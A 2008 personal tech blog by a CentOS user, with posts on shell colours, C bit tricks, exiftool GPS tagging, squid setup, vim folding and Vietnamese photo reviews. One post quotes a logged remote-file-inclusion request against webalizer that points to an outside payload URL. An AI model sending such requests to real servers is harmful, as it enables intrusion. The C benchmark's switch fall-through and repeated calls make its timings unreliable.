Nov 14, 2008

Changing LS_COLORS

#Using bash 3.2.0 on CentOs 5.0

di=00 or di=01 means dar blue for folder in black background, which is quite hard to see. So I changed it to di=1;35;100( purple ).

Old:
LS_COLORS='no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:

New:

LS_COLORS='no=00:fi=00:di=1;35;100:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:'

Nov 12, 2008

A webalizer hack attempt

Found in httpd access_log 76.103.140.75 - - [12/Nov/2008:22:42:06 +0900] "GET /webalizer//tools/send_remin ders.php?includedir=http://usuarios.arnet.com.ar/larry123/safe.txt? HTTP/1.1" 40 4 356 "-" "libwww-perl/5.813"

Aug 12, 2008

Finding nearest pow to 2


/* gcc pow_opt.c */
/* http://jeffreystedfast.blogspot.com/search/label/algorithms */
#include 
#include 
#include 
typedef long uint32_t;
static uint32_t nearest_pow1(uint32_t num)
{    uint32_t n = 1;
    while (n < num)
        n <<= 1;    return n;
}static uint32_t nearest_pow2(uint32_t num)
{    uint32_t n = num > 0 ? num - 1 : 0;
    n |= n >> 1;
    n |= n >> 2;
    n |= n >> 4;
    n |= n >> 8;
    n |= n >> 16;
    n++;

    return n;
}

static uint32_t nearest_pow3(uint32_t num)
{
    int bit;

  __asm__("bsrl %1,%0\n\t" "jnz 1f\n\t" "movl $-1,%0\n" "1:": "=r"(bit):"rm"(num));

    return (1 << (bit + 1));
}


static uint32_t nearest_pow4(uint32_t num)
{
    uint32_t j, k;
    (j = num & 0xFFFF0000) || (j = num);
    (k = j & 0xFF00FF00) || (k = j);
    (j = k & 0xF0F0F0F0) || (j = k);
    (k = j & 0xCCCCCCCC) || (k = j);
    (j = k & 0xAAAAAAAA) || (j = k);
    return j << 1;
}

//A simple performance test might be:

int main(int argc, char **argv)
{
    uint32_t i, n = 0;

    uint32_t test_pow = atol(argv[1]);

    switch ( test_pow ) {
    case 1:
        for (i = 0; i < INT_MAX / 10; i++)
            n += nearest_pow1(i);
    case 2:
        for (i = 0; i < INT_MAX / 10; i++)
            n += nearest_pow2(i);
    case 3:
        for (i = 0; i < INT_MAX / 10; i++)
            n += nearest_pow2(i);
    case 4:
        for (i = 0; i < INT_MAX / 10; i++)
            n += nearest_pow2(i);

    }

    return n > 0 ? 1 : 0;
}

[vuhung@aoclife g++]$ for i in 1 2 3 4; do time ./a.out $i; done

real    0m43.297s
user    0m42.969s
sys     0m0.318s

real    0m20.455s
user    0m20.343s
sys     0m0.109s

real    0m13.653s
user    0m13.566s
sys     0m0.082s

real    0m6.817s
user    0m6.769s
sys     0m0.048s

Jul 23, 2008

Giám khảo thi ảnh Hà Nội cho xóm nhiếp ảnh

 
thang điểm 100.

1. SUNF - Hành tinh nhỏ Hà Nội 85/100.

Đối với những nhiếp ảnh gia đạt đạo, kỹ thuật và máy móc luôn là yếu tố thứ yếu.
Đây là quan điểm gây nhiều tranh cãi nhưng bộ ảnh "Hành tinh nhỏ Hà Nội" của bác Sunf
bắt người xem phải có một cái nhìn khách quan và thấu đáo hơn.

Bố cục, góc nhìn lạ. 
Tấm "Vinaconex - Trung Hòa Nhân Chính" có lẽ thành công nhất trong bộ,
nhìn giống như bom, một thông điệp cho sự phát triển ổn định của Hà Nội.

2. Vision II - Hồ Gươm 60/100.
Đây là đề tài cũ nên em nghĩ rất khó tìm được gì mới nếu tác giả chỉ đi một vòng quanh Hồ Gươm.
Ở năm 2008 này mà bác vẫn đi chụp phim - mà là đen trắng nhé - thì quả là em phục thật! 

3. Haitre - Những ngày trong nắng 80/100.
Cái hay của bộ ảnh này là sự tương phản giữa sự hiện đại và cổ điển. Nhà cổ và ô tô.
Ô tô và xe đạp. Và cả đám cưới phố cổ nữa, đúng không nhỉ? Có lẽ tác giả là người rất sành và rành Hà Nội!

4. m42 - Hồ Gươm 65/100.
Đây là đề tài cũ và khó chụp.
Ảnh có điểm nhấn nhưng chưa mô tả rõ được sự tương phản mà tác giả muốn mô tả.

5. ling - Hà Nội 85/100
Đây là bộ thứ 3 xóm nhà ta chụp Hồ Gươm. 
Như em nói rồi, khó chụp!
Nhưng bộ này thì đúng là tác giả có bỏ thời gian để chùm ảnh nằm trong một đề tài.
Tháp rùa, và người già? Có phải là sự già nua của Hà Nội không nhỉ?
Có lẽ không vì ở tấm ảnh cuối, một cô gái váy trắng đi xuyên qua Tháp rùa, đằng sau là bà cụ nhìn với theo. Thật ghen tị với tác giả về thời gian quý hiếm này. 

6. Haitre - Vỉa hè Hà Nội
Em chưa gặp bác HaiTre ở ngoài đời, nhưng mạn phép đoán là bác là người rất thích đem theo máy ảnh và ngồi vỉa hè theo phong cách lomo. 

Tấm 1( cái niêu ), tấm 2 ( quạt con cóc ), tấm 5( Honda ) rất thành công và được đặt theo thứ tự về thời gian. Tầm chụp hoa hồng và xe đạp em nghĩ là không hợp trong chủ đề hiện tại. 

Một băn khoăn của em: Xe đạp Trung Quốc hay Nhật, thời nào? 

7. hieubn - Hà Nội, Hà Nội 30/100. 
Như tác giả nói, đây là một bộ ảnh kỷ niệm của một cô gái Hà Nội.
Nó chưa làm nổi bật được nét "Hà Nội" của tên bộ ảnh. 
Sự can thiệp bằng phần mềm làm cho bộ ảnh nhìn cũ đi, hợp hơn với cái tên cổ "Hà Thành" em nghĩ chưa thành công.

8. minhdesigner - Tết Hà Nội 50/100
Tấm này làm em suy nghĩ quá: Chủ nhân chiếc xe đạp cọc cạch có bán được cành đào hay không?
http://xomnhiepanh.com/gallery.php?do=album_detail&album_id=341&id=3

9. 6unL - Nắng Hà Nội 70/100.
Một Hà Nội thu nhỏ ở đây: Bán rong, xe máy, dây điện, xe máy. Em tiếc lá thiếu ô tô.
http://xomnhiepanh.com/gallery.php?do=album_detail&album_id=397&id=1

Ba tấm còn lại em nghĩ chưa đạt, vì nắng Hà Nội gắt quá :D. 

10. dan - màu của Gươm 70/100.
Đây là đề tài cũ và khó chụp.
Em đánh giá rất cao trình đọc sáng của tác giả.

11. m42 - Quán Hà Nội 90/100.
Rất thành công trong việc bó hẹp đề tài. 
Bác có cái nhìn Việt Nam rất độc đáo mà người Việt Nam ở Việt Nam không hề có.

12. sonlam - Hà Nội mùa xuân 85/100.
- Không có bình luận.

Jun 25, 2008

Notepad++ Japanese.

1. Installl npp.5.0.beta.bin as usual
2. Download Japanese language pack.
Notepad++ 4.0.2 用日本語ロケール
http://homepage3.nifty.com/georgei/extension/notepadpp_jpl_v09.zip
3. Extract nativeLang.xml to npp.5.0.beta.bin\
4. Restart notepad++
5. From menu: Format -> UTF-8

Jun 23, 2008

ls awk to find filesizes


ls -lk | awk '{print $5;}'

[vuhung@aoclife src]$ ls -lk *c |  head
-rw-r--r-- 1 vuhung vuhung  23  4月  5 07:45 cairo-analysis-surface.c
-rw-r--r-- 1 vuhung vuhung   9  4月 12 06:07 cairo-arc.c
-rw-r--r-- 1 vuhung vuhung  13  4月  8 07:30 cairo-array.c
-rw-r--r-- 1 vuhung vuhung   3  4月  4 01:25 cairo-atomic.c
-rw-r--r-- 1 vuhung vuhung   5  4月  5 07:45 cairo-base85-stream.c
-rw-r--r-- 1 vuhung vuhung  52  4月  5 07:45 cairo-bentley-ottmann.c
-rw-r--r-- 1 vuhung vuhung  11  4月  5 07:45 cairo-cache.c
-rw-r--r-- 1 vuhung vuhung  66  4月  8 07:30 cairo-cff-subset.c
-rw-r--r-- 1 vuhung vuhung  23  4月  5 07:45 cairo-clip.c
-rw-r--r-- 1 vuhung vuhung   5  1月 18 08:09 cairo-color.c


[vuhung@aoclife src]$ ls -lk *c | awk '{print $5;}' | head
23
9
13
3
5
52
11
66
23
5


Jun 5, 2008

Trojan.SpyBuddy

/home/vuhung/public_html/tmp/photography/software/PixelGenius_PhotoKit_v1.2.4_for_Photoshop.rar: Trojan.SpyBuddy FOUND rm /home/vuhung/public_html/tmp/photography/software/PixelGenius_PhotoKit_v1.2.4_for_Photoshop.rar

Mar 28, 2008

Add GPS info to EXIF

Browser Google map and get



http://maps.google.com/?ie=UTF8&ll=35.675174,139.757635&spn=0.001181,0.002167&z=19



Pass the cordinators to exiftool:



C:\temp>exiftool -GPSLatitudeRef=N -GPSLongitudeRef=E -GPSAltitude=5 -GPSAltitudeRef="Above Sea Level" -overwrite_original -GPSLatitude=35.675174 -GPSLongitude=139.757635 -c "%.6f" "Yokoshima DSC_3562.jpg"



and we done.



batch process:



@echo off



echo adding gps ...



for %%nef in (dir /b *.NEF) DO exiftool -GPSLatitudeRef=N -GPSLongitudeRef=E -GPSAltitude=5 -GPSAltitudeRef="Above Sea Level" -overwrite_original -GPSLatitude=35.675174 -GPSLongitude=139.757635 -c "%.6f" %%nef



echo DONE



PAUSE




Or simply use this:

for %f in (*.JPG) DO exiftool -GPSLatitudeRef=N -GPSLongitudeRef=E -GPSAltitude=5 -GPSAltitudeRef="Above Sea Level" -overwrite_original -GPSLatitude=21.059562 -GPSLongitude=105.762752 -c "%.6f" %f

for %f in (*.NEF) DO exiftool -GPSLatitudeRef=N -GPSLongitudeRef=E -GPSAltitude=5 -GPSAltitudeRef="Above Sea Level" -overwrite_original -GPSLatitude=21.059562 -GPSLongitude=105.762752 -c "%.6f" %f

refs:


http://owl.phy.queensu.ca/~phil/exiftool/TagNames/GPS.html


http://www.carto.net/projects/photoTools/gpsPhoto/


http://hwat.sakura.ne.jp/hpod/200610/11-220000/


http://hwat.sakura.ne.jp/hpod/200609/28-200000/


http://en.wikipedia.org/wiki/Global_Positioning_System

Feb 26, 2008

squid configuration on Centos 5

cd /etc/squid/ htpasswd -c -b passwd squid_name squid_password /etc/init.d/squid start diff squid.conf squid.conf.2008-02-26.orig > /home/vuhung/work/squid.conf.diff.`date -I` 1564,1565c1564,1565 < # /usr/lib/squid/ncsa_auth < auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd --- > # > # auth_param basic program /usr/libexec/ncsa_auth /usr/etc/passwd 1573c1573 < auth_param basic children 5 --- > # auth_param basic children 5 1586c1586 < auth_param basic realm Squid proxy-caching web server --- > # auth_param basic realm Squid proxy-caching web server 1597c1597 < auth_param basic credentialsttl 2 hours --- > # auth_param basic credentialsttl 2 hours 1769d1768 <> acl our_networks src 192.168.0.0/24 192.168.1.0/24 3214d3207 < cachemgr_passwd vuhung all 3444,3447d3436 < header_access X-Forwarded-For deny all < header_access Via deny all < header_access Cache-Control deny all <

squid configuration on Centos 5

1564,1565c1564,1565 < # /usr/lib/squid/ncsa_auth < auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd --- > # > # auth_param basic program /usr/libexec/ncsa_auth /usr/etc/passwd 1573c1573 < auth_param basic children 5 --- > # auth_param basic children 5 1586c1586 < auth_param basic realm Squid proxy-caching web server --- > # auth_param basic realm Squid proxy-caching web server 1597c1597 < auth_param basic credentialsttl 2 hours --- > # auth_param basic credentialsttl 2 hours 1769d1768 < 2412,2415d2410 < acl password proxy_auth REQUIRED < http_access allow password < http_access deny all < 2461d2455 < follow_x_forwarded_for allow all 2528c2522 < acl our_networks src 192.168.11.0/24 192.168.1.0/24 --- > acl our_networks src 192.168.0.0/24 192.168.1.0/24 3214d3207 < cachemgr_passwd vuhung all 3444,3447d3436 < header_access X-Forwarded-For deny all < header_access Via deny all < header_access Cache-Control deny all < cd /etc/squid/ htpasswd -c -b passwd squid_name squid_password /etc/init.d/squid start diff squid.conf squid.conf.2008-02-26.orig > /home/vuhung/work/squid.conf.diff.`date -I`

Jan 16, 2008

Folding with vim, a cheat sheet

v|V, select zf or any other command ( fold in visual mode )
:20,101 fo[ld]: fold selected lines
zf/string: fold until the first match of "string" . 
:mkview : save folds. 
:loadview : load folds.
zf/string creates a fold from the cursor to string . Try within an "#ifdef" and "#endif".

zf#j  creates a fold from the cursor down  #  lines.
zj moves the cursor to the next fold.
zk moves the cursor to the previous fold.
zo opens a fold at the cursor.
zO opens all folds at the cursor.
zm increases the foldlevel by one.
zM closes all open folds.
zr decreases the foldlevel by one.
zR decreases the foldlevel to zero -- all folds will be open.
zd deletes the fold at the cursor.
zE deletes all folds.
[z move to start of open fold.
]z move to end of open fold.

Jan 7, 2008

A C pointer FAQ ( kind of ) [ as of now for me ]

Of course, pointers are not limited to ints. It's quite common to use pointers to other types, especially char. Here is the innards of the mystrcmp function we saw in a previous chapter, rewritten to use pointers. (mystrcmp, you may recall, compares two strings, character by character.)

 // p1, p2 point to the address of the first character in str1, str2 respectively
 char *p1 = &str1[0], *p2 = &str2[0];

 while(1)
  {
   // compare the values of str1[x], str[x] at the position x. Not equal
   if(*p1 != *p2)
    return *p1 - *p2;
   // we reached the end of both str1, str2 -> they are equal.
   if(*p1 == '\0' || *p2 == '\0')
    return 0;
   // p1++ and p2++ do the increment of p1 and p2.
   // i.e., the next characters in str1 ( str[x + 1] and str2 ( str2[ x + 1]
   p1++;
   p2++;
  }


As another example, here is the strcpy (string copy) loop from a previous chapter, rewritten to use pointers:

 char *dp = &dest[0], *sp = &src[0];
 while(*sp != '\0')
  // *dp++ means *(dp++), i.e., the value of the pointer next to dp.
  // to access the address of the next pointer of dp, use (*dp)++
  *dp++ = *sp++;
 *dp = '\0';

(One question that comes up is whether the expression *dp++ increments p or what it points to. The answer is that it increments p. To increment what p points to, you can use (*dp)++.) 

ref: http://www.eskimo.com/~scs/cclass/notes/sx10b.html

Os type detection with uname

[vuhung@test_make]$make vh
SunOs
[vuhung@test_make]$cat Makefile 
uname=$(shell uname)

ifeq ($(uname), Linux)
APP_OSTYPE = Linux
endif

ifeq ($(uname), SunOS)
APP_OSTYPE = SunOs
endif

vh:
        @echo $(APP_OSTYPE)